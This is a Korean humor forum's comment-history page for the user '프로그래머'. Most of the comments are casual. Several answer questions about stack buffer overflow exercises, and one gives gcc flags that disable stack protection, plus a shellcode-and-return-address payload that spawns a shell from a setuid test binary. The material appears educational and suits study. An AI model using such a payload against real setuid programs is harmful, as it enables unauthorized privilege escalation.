모바일 오유 바로가기
http://m.todayhumor.co.kr
분류 게시판
베스트
  • 베스트오브베스트
  • 베스트
  • 오늘의베스트
  • 유머
  • 유머자료
  • 유머글
  • 이야기
  • 자유
  • 고민
  • 연애
  • 결혼생활
  • 좋은글
  • 자랑
  • 공포
  • 멘붕
  • 사이다
  • 군대
  • 밀리터리
  • 미스터리
  • 술한잔
  • 오늘있잖아요
  • 투표인증
  • 새해
  • 이슈
  • 시사
  • 시사아카이브
  • 사회면
  • 사건사고
  • 생활
  • 패션
  • 패션착샷
  • 아동패션착샷
  • 뷰티
  • 인테리어
  • DIY
  • 요리
  • 커피&차
  • 육아
  • 법률
  • 동물
  • 지식
  • 취업정보
  • 식물
  • 다이어트
  • 의료
  • 영어
  • 맛집
  • 추천사이트
  • 해외직구
  • 취미
  • 사진
  • 사진강좌
  • 카메라
  • 만화
  • 애니메이션
  • 포니
  • 자전거
  • 자동차
  • 여행
  • 바이크
  • 민물낚시
  • 바다낚시
  • 장난감
  • 그림판
  • 학술
  • 경제
  • 역사
  • 예술
  • 과학
  • 철학
  • 심리학
  • 방송연예
  • 연예
  • 음악
  • 음악찾기
  • 악기
  • 음향기기
  • 영화
  • 다큐멘터리
  • 국내드라마
  • 해외드라마
  • 예능
  • 팟케스트
  • 방송프로그램
  • 무한도전
  • 더지니어스
  • 개그콘서트
  • 런닝맨
  • 나가수
  • 디지털
  • 컴퓨터
  • 프로그래머
  • IT
  • 안티바이러스
  • 애플
  • 안드로이드
  • 스마트폰
  • 윈도우폰
  • 심비안
  • 스포츠
  • 스포츠
  • 축구
  • 야구
  • 농구
  • 바둑
  • 야구팀
  • 삼성
  • 두산
  • NC
  • 넥센
  • 한화
  • SK
  • 기아
  • 롯데
  • LG
  • KT
  • 메이저리그
  • 일본프로야구리그
  • 게임1
  • 플래시게임
  • 게임토론방
  • 엑스박스
  • 플레이스테이션
  • 닌텐도
  • 모바일게임
  • 게임2
  • 던전앤파이터
  • 마비노기
  • 마비노기영웅전
  • 하스스톤
  • 히어로즈오브더스톰
  • gta5
  • 디아블로
  • 디아블로2
  • 피파온라인2
  • 피파온라인3
  • 워크래프트
  • 월드오브워크래프트
  • 밀리언아서
  • 월드오브탱크
  • 블레이드앤소울
  • 검은사막
  • 스타크래프트
  • 스타크래프트2
  • 베틀필드3
  • 마인크래프트
  • 데이즈
  • 문명
  • 서든어택
  • 테라
  • 아이온
  • 심시티5
  • 프리스타일풋볼
  • 스페셜포스
  • 사이퍼즈
  • 도타2
  • 메이플스토리1
  • 메이플스토리2
  • 오버워치
  • 오버워치그룹모집
  • 포켓몬고
  • 파이널판타지14
  • 배틀그라운드
  • 기타
  • 종교
  • 단어장
  • 자료창고
  • 운영
  • 공지사항
  • 오유운영
  • 게시판신청
  • 보류
  • 임시게시판
  • 메르스
  • 세월호
  • 원전사고
  • 2016리오올림픽
  • 2018평창올림픽
  • 코로나19
  • 2020도쿄올림픽
  • 게시판찾기
  • 오유인페이지
    개인차단 상태
    프로그래머님의
    개인페이지입니다
    가입 : 07-05-23
    방문 : 549회
    닉네임변경 이력
    회원차단
    회원차단해제
     

    프로그래머님의 댓글입니다.
    번호 제목 댓글날짜 추천/비공감 삭제
    617 다이아몬드 진짜 가짜 구별법.jpg [새창] 2018-10-12 22:49:00 2 삭제
    이게 그 보석상이 100만원 손해 인가 하는 문제인가요?
    616 심심풀이로 볼만한 움짤들 모음 100.GIF [새창] 2018-06-07 20:55:14 5 삭제
    아재요 100회 고마워요~ :D
    615 원 게시글이 삭제되었습니다. [새창] 2018-06-05 19:31:59 1 삭제
    잘 놀다 갑니다 :)
    614 무도 정현편 대본.jpg [새창] 2018-01-23 17:56:18 87 삭제
    ㅋㅋㅋㅋㅋㅋㅋㅋ아니 ㅋㅋ 이정도면 대본 유출급 아니에요?ㅋㅋㅋㅋㅋㅋㅋㅋㅋ
    613 프게 (프로그래머게시판) 은 왜 가만 있나요? [새창] 2017-12-21 01:50:24 0 삭제
    딱히 이번 사태가 아니더라도... 항상 조용한 지역이라...
    612 몸켐구제좀 부탁드립니다... [새창] 2017-08-25 08:35:27 0 삭제
    댓글 올렷다가 지웁니다. 네이버 엔드라이브 같은곳에 apk 올린다음에 공유 해서 댓글로 링크 남겨 주세요
    610 vi 에디터 연습은 어떻게 해야 할까요? [새창] 2017-07-12 12:37:08 2 삭제
    +1
    609 스택에서 표시한 두 부분은 뭐가 들어있는 건가요? [새창] 2017-07-03 19:32:40 0 삭제
    하시다 보면 나중에는 _start -> __libc_start_main -> main 이렇게 따라가면서 실제로 프로그램 처음부터 main 까지 분석도 해보실텐데요. 그때 되면 저 더미 바이트가 그 전에 어떻게 사용되었는지도 알 수 있습니다 ㅎㅎ
    608 스택에서 표시한 두 부분은 뭐가 들어있는 건가요? [새창] 2017-07-02 20:13:38 0 삭제
    추가적으로 Main의 프롤로그에서 저런 더미는 환경 변수 등등에 따라 스택이 변하기 때문에 메인의 프롤로그 진입시의 esp 에 따라 한 바이트도 더미가 안생길 수도 있고 최대 12바이트 까지 더미가 생길 수 있습니다.
    607 스택에서 표시한 두 부분은 뭐가 들어있는 건가요? [새창] 2017-07-02 20:11:54 0 삭제
    어셈 프롤로그 시 중간에 생기는 빈 바이트들는 더미 코드라고 생각하시면 됩니다.

    일반적으로 저런 더미가 생기는 이유는 Default 컴파일 시, 스택을 정렬 (Align)을 하기 위해 함수의 프롤로그에 다음과 같은 부분이 들어 가게 됩니다.

    and esp,0xfffffff0

    이 뜻은 스택 프레임을 16바이트로 정렬을 하라는 의미 입니다.

    예를들어 프롤로그 들어 갈때 마지막 한 바이트가 0x5c 와 같이 끝나게 되면 저 어셈 코드를 거친뒤 0x50 처럼 되게 되고 이럴 경우 12바이트 (0xc)만큼의 ebp와 esp사이에 더미 바이트가 생기게 됩니다.

    현재 ssp가 없는 상황이기 때문에 저기 들어간 더미 바이트들 값의 의미는 main이 호출되기전 다른 함수들에 의해 스택에 씌여진 값이라서 무시하셔도 되지만 이러한 이유 때문에 소스코드에서 봣을때 이론적으로 x 바이트 값만 가지고 ret 을 덮을수 있는 상황에서도 해보면 더미 바이트 때문에 잘 덮히지 않게 됩니다. 따라서, 정확히 오버플로우를 하기 위해서는 글쓴이님처럼 직접 디버깅을 해서 정확한 바이트 값을 구하시는게 제일 정확합니다 ㅎㅎ

    추가적으로 이러한 더미를 없애기 위해서 아래와 같이 스택 바운더리를 컴파일 옵션으로 정해주시면 됩니다.

    -mpreferred-stack-boundary=2
    (64 비트 인 경우 최소 4)
    606 원 게시글이 삭제되었습니다. [새창] 2017-06-30 17:41:36 2 삭제
    그래픽 처리 관련해서 많이 쓰는 수학적인 연산이 있는데 이는 일반적인 CPU 에서 많은 양의 연산을 실행해야 할 것이 GPU 는 더 빠르게 실행을 해줍니다.

    머신 러닝에서 쓰는 연산이 이러한 수학적 연산을 사용하기 때문에 CPU보단 GPU를 사용하는게 더 효율적입니다~
    605 스택 버퍼 오버플로우...쉘이 실행이 안 되는데 어디가 문제일까요...? [새창] 2017-06-12 09:37:55 0 삭제
    익스 코드의 마지막 4바이트는 환경 마다 다르기 때문에 컴파일 후 한번 실행 하셔서 buf 주소를 확인한다음에 해당 주소로 변경해주세요.
    604 스택 버퍼 오버플로우...쉘이 실행이 안 되는데 어디가 문제일까요...? [새창] 2017-06-12 09:36:56 0 삭제
    그냥 컴파일 하시면 어셈블리에서 마지막 리턴 주소를 복원 하는 코드가 생기게 됩니다.

    이를 제거 하기 위해 컴파일 시, -mpreferred-stack-boundary=2 를 넣어주세요.
    (저는 64비트 환경에서 컴파일 했기 때문에 32비트 elf를 만드려고 -m32 옵션을 넣었습니다.)

    $ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack test.c
    $ ./a.out `python -c 'print "x33xd2x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80" + "A"*76 + "A"*8 + "xa0xd5xffxff"'`

    이렇게 되면 a.out 이 setuid 가 걸린 경우 해당 아이디로 쉘이 떨어 지게 됩니다.

    중간에 A*8을 한 이유는 스택 바운더리를 설정한 경우, 버퍼와 리턴 위치의 차이가 8바이트가 되기 때문에 8로 설정했습니다.
    603 추리 연산 문제 [새창] 2017-05-30 10:02:04 1 삭제
    음 형태를 보니깐 최대공약수(gcd) 인것 같은데요 'ㅅ'



    [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [다음10개▶]

     
    단축키 운영진에게 바란다(삭제요청/제안) 운영게 게시판신청 자료창고 보류 개인정보취급방침 청소년보호정책 모바일홈